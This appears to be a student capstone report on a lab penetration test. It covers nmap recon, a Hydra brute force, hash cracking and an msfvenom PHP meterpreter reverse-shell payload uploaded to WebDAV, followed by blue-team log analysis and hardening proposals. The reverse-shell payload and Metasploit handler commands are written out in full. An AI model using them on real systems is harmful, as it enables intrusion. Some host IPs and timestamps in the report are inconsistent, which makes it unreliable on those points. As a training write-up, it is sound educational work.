Capstone Engagement

Assessment, Analysis, and Hardening of a Vulnerable System

Table of Contents

This document contains the following sections:

Network Topology


Red Team: Security Assessment

Blue Team: Log Analysis and Attack Characterization

Hardening: Proposed Alarms and Mitigation Strategies



Network Topology



Network

Address Range: 192.168.1.0/24

Netmask: 255.255.255.0 Gateway: 192.168.1.1

Machines

IPv4:192.168.1.1 OS: Windows 10 Pro

Hostname: ML-RefVm-958751

(Azure VM)

IPv4: 192.168.1.8 OS: Kali Linux Hostname: Kali

IPv4: 192.168.1.105 OS: Ubuntu Linux

Hostname: Ubuntu-Headless

(ELK)

IPv4: 192.186.1.100 OS: Ubuntu Linux Hostname: server1 (Capstone)

Red Team Security Assessment

Recon: Describing the Target

Nmap identified the following hosts on the network:

Hostname	IP Address	Role on Network
ML-RefVm-958751 (Azure VM)	192.168.1.1	Gateway
Kali Linux (Kali)	192.168.1.8	Pentesting Machine
server1 (Capstone)	192.168.1.105	Target Machine running Apache Web Server
Ubuntu-Headless (ELK)	192.168.1.100	Monitoring network security

Vulnerability Assessment

The assessment uncovered the following critical vulnerabilities in the target:

Vulnerability	Description	Impact
Sensitive Data Exposure	An nmap scan revealed the IP address of the web server and that port 80 was open.	By use of a web browser the pentested was able to access the web server that exposed sensitive information that can be leveraged by malicious attackers.
Directory Structure Exposure	The directory structure of the internal web server is viewable via web browser without authentication required.	By accessing the internal directories the pentester was able to locate a listing for /secret_folder within unprotected documents.
Unprotected Credential Information	Employee usernames were visible on the web server.	Knowing a username gives malicious actors an advantage in gaining access via brute force and other methods of attack.

Vulnerability Assessment

The assessment uncovered the following critical vulnerabilities in the target:

Vulnerability	Description	Impact
Brute Force Attack	No limit has been set on failed logins attempts.	Using the previously found username, the pentester was able to access /secret_folder with a brute force tool.
Security Misconfiguration	Unknown IP addresses are allowed to access secure folders on the server.	The pentester was able to access the /secret_folder and /webdav, and all files contained therein.
Poor Password Protection	A hashed password was listed within a file that contained instructions on connecting to the corporate server.	Using a publicly available hash cracker the pentester was able to find the administrative password.

Vulnerability Assessment

The assessment uncovered the following critical vulnerabilities in the target:

Vulnerability	Description	Impact
Unauthorized File Upload	No protections are in place to stop any user from uploading files to WebDAV.	Pentester was able to upload and execute a .php file into the WebDav folder.
Unauthorized File Execution	Files can be executed from within WebDAV.	The .php file was executed from within WebDAV which facilitated a reverse shell.

Exploitation: Sensitive Data Exposure



Tools & Processes

An NMAP scan found the IP address of the target machine (server1) to be 192.168.1.105 with an open HTTP port 80.




Achievements

Using a web browser (FireFox), I was able to gain access to publicly available folders on the web server.

Exploitation: Sensitive Data Exposure



```
kali:~# nmap -sS 192.168.1.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2021-05-04 22:38 EDT
Nmap scan report for 192,168,1,1
Host is up (0.00059s latency).
Not shown: 997 filtered ports
        STATE SERVICE
135/tcp open msrpc
2179/tcp open vmrdp
3389/tcp open ms-wbt-server
MAC Address: 00:15:5D:00:04:03 (Microsoft)
Nmap scan report for 192.168.1.100
Host is up (0.00054s latency).
Not shown: 998 closed ports
        STATE SERVICE
22/tcp open ssh
9200/tcp open wap-wsp
MAC Address: 00:15:5D:00:04:01 (Microsoft)
Nmap scan report for 192.168.1.105
Host is up (0.00046s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:15:5D:00:04:02 (Microsoft)
Nmap scan report for 192.168.1.8
Host is up (0.0000050s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 256 IP addresses (4 hosts up) scanned in 32.19 seconds
```



Exploitation: Directory Structure Exposure



Tools & Processes

Using FireFox the pentester was able to view and navigate the directory structure of the web server



Achievements

The directory structure was mapped and files containing further structural data were included. Namely the address of /secret folder.

Exploitation: Sensitive Data Exposure





Exploitation: Unprotected Credential Information



Tools & Processes

Attempting to access /secret_folder via the web browser revealed and administrative username in the sign in pop-up.




Achievements

By simply checking the access to the /secret_folder directory the pentester was able to find an administrative username Ashton.

Exploitation: Unprotected Credential Information





Exploitation: Brute Force Attack



Tools & Processes

Using the Kali Linux tool, Hydra, the pentester was able to brute force the password for user Ashton and gain access to /secret_folder.




Achievements

Brute force was used to find the password for user Ashton. Using those credentials, access to /secret_folder was gained.

Location information and access instructions for /webdav were contained within /secret_folder.
Username Ryan and an associated password hash were included.

Exploitation: Brute Force Attack









Tools & Processes

Using a web browser the pententer was able to access the directories on the web server.



Achievements

Accessing the directories and on the web server gave the pentester further information the was used to access additional company resources including:
/company_folders
/company_folders
/secret_folder
WebDAV







Tools & Processes

The username Ryan was found. Along with it were instructions on how to access WebDav and Ryan's hashed password. The hash was entered into the publicly available hash cracking website, crackstation.net, and the password was revealed.



Achievements

The combination of the exposed username and the cracked password allowed administrative access to WebDAV.





Exploitation: Unauthorized File Upload



Tools & Processes

Using msfvenom a .php reverse_tcp script was created and uploaded to /webdav.




Achievements

The pentester was able to insert a malicious file into WebDAV.

Exploitation: Unauthorized File Upload



```
root@kali:~# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.8 lport=4444 >> shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1112 bytes
```



Exploitation: Unauthorized File Execution



Tools & Processes

Opening WebDAV within a web browser, the pentester was able to execute the .php file.

Metasploit meterpreter was then used to access and create a shell on the target machine, server1 (Capstone).



Achievements

Access to the target machine was gained through the use of meterpreter and a reverse shell was generated.

Command and control (C2) was achieved, and the flag.txt file was captured

Exploitation: Unauthorized File Execution





```
msf exploit(multi/handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > back
msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.1.8
LHOST => 192.168.1.8
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.8:4444
```


```
meterpreter > shell
Process 2116 created.
Channel 0 created.
cd / Parent Director
ls
bin Passwd.dav
boot Shell.php
dev
etc
flag.txt
home
cat flag.txt
blng0w@5hlsn@m0
```

Blue Team Log Analysis and Attack Characterization

Analysis: Identifying the Port Scan




- A port scan occurred at 20:06:40:652 on May 13, 2021.
- 1,001 packets were sent.
- Packets were sent from a single IP contacting all ports in one millisecond indicating this was a port scan.



Analysis: Finding the Request for the Hidden Directory




- The first request made to /secret_folder was made at 02:18:41.456 on May 13, 2021. Requests totalled 10,016.
- The /connect_to_corp_server file was accessed, which contained instructions to access /webdav as well as a
 password hash for user Ryan



Analysis: Uncovering the Brute Force Attack




- Starting at 20:18:41.456 on May 13, 2021 a total of 10,016 requests were sent to the /secret_folder directory using Hydra.
- After 10,015 requests were made, the attack was successful and the password was discovered.



Analysis: Finding the WebDAV Connection



- A total of 24 requests were made to connect to the webday directory.
- Requests were made to access the passwd.dav and shell.php files.



Blue TeamProposed Alarms and Mitigation Strategies

Mitigation: Blocking the Port Scan

Alarm

What kind of alarm can be set to detect future port scans?

An alarm should be set for a high number of non-HTTP ports being scanned from an outside IP address

What threshold would you set to activate this alarm?

The SOC should be notified if greater than 5 errors occur per minute on a non-HTTP port

System Hardening

What configurations can be set on the host to mitigate port scans?

The firewall should be set to cut off a potential attack after 100 consecutive ping requests in a minute. Firewalls can also be used to redirect attacks to empty ports which will increase the time and complexity for attackers.

Alternately, the Firewall could block all incoming/outgoing traffic on all ports except 80.

Mitigation: Finding the Request for the Hidden Directory

Alarm

What kind of alarm can be set to detect future unauthorized access?

Alarm should be set to alert if access to sensitive data is attempted from any IP address that is not whitelisted by the system.

What threshold would you set to activate this alarm?

The SOC should be alerted if an IP that has not been whitelisted attempts to access the sensitive files or directories.

System Hardening

What configuration can be set on the host to block unwanted access?

Internal IP addresses that need access to sensitive files or directories can be set up in Linux with the following commands:

```
iptables -I INPUT -s SUBNET_HERE -p
tcp -m multiport --dports 80,443 -j
ACCEPT
```

```
iptables-save > /etc/firewall.conf
```

Mitigation: Preventing Brute Force Attacks

Alarm

What kind of alarm can be set to detect future brute force attacks?

Kibana should be set to detect a large number of failed login attempts that originate from the same IP within a short time period. An alert should also be set to detect the use of Hydra or similar known brute force tools.

What threshold would you set to activate this alarm?

The alarm should be triggered by greater than five failed login attempts in a minute and/or the use of known brute force tools.

System Hardening

What configuration can be set on the host to block brute force attacks?

Most importantly, a strong password policy can help prevent successful brute force attempts.

Adding multi factor authentication (MFA) creates an additional obstacle for those attempting brute force attacks.

Mitigation: Detecting the WebDAV Connection

Alarm

What kind of alarm can be set to detect future access to this directory?

Alarm should be set to alert if access to sensitive data is attempted from any IP address that is not whitelisted by the system.

What threshold would you set to activate this alarm?

Any IP that has not been whitelisted and attempts to access WebDAV will trigger the alarm.

System Hardening

What configuration can be set on the host to control access?

Necessary IP addresses can be whitelisted using the same commands as blocking access to hidden directories.

Alternately, the "IP Address and Domain Restrictions" too for WebDAV can be configured to whitelist select IPs.

Mitigation: Identifying Reverse Shell Uploads

Alarm

What kind of alarm can be set to detect future file uploads?

The alarm should be set to detect an attempt by non-whitelisted IPs to alter a file on the web server. Additionally another alarm should detect non-whitelisted IPs requesting an HTTP method PUT.

What threshold would you set to activate this alarm?

Any attempts from non-whitelisted IPs to alter files or a PUT HTTP request should notify the SOC.

System Hardening

What configuration can be set on the host to block file uploads?

All anti-virus/malware applications should be kept up to date, and the the firewall can be set up for deep packet inspection to detect suspicious outbound communications.

Additionally, WebDAV should be configured to deny file execution by adjusting permissions under "Handler Mappings", and employees also need to be educated about the dangers of executing files they have received.

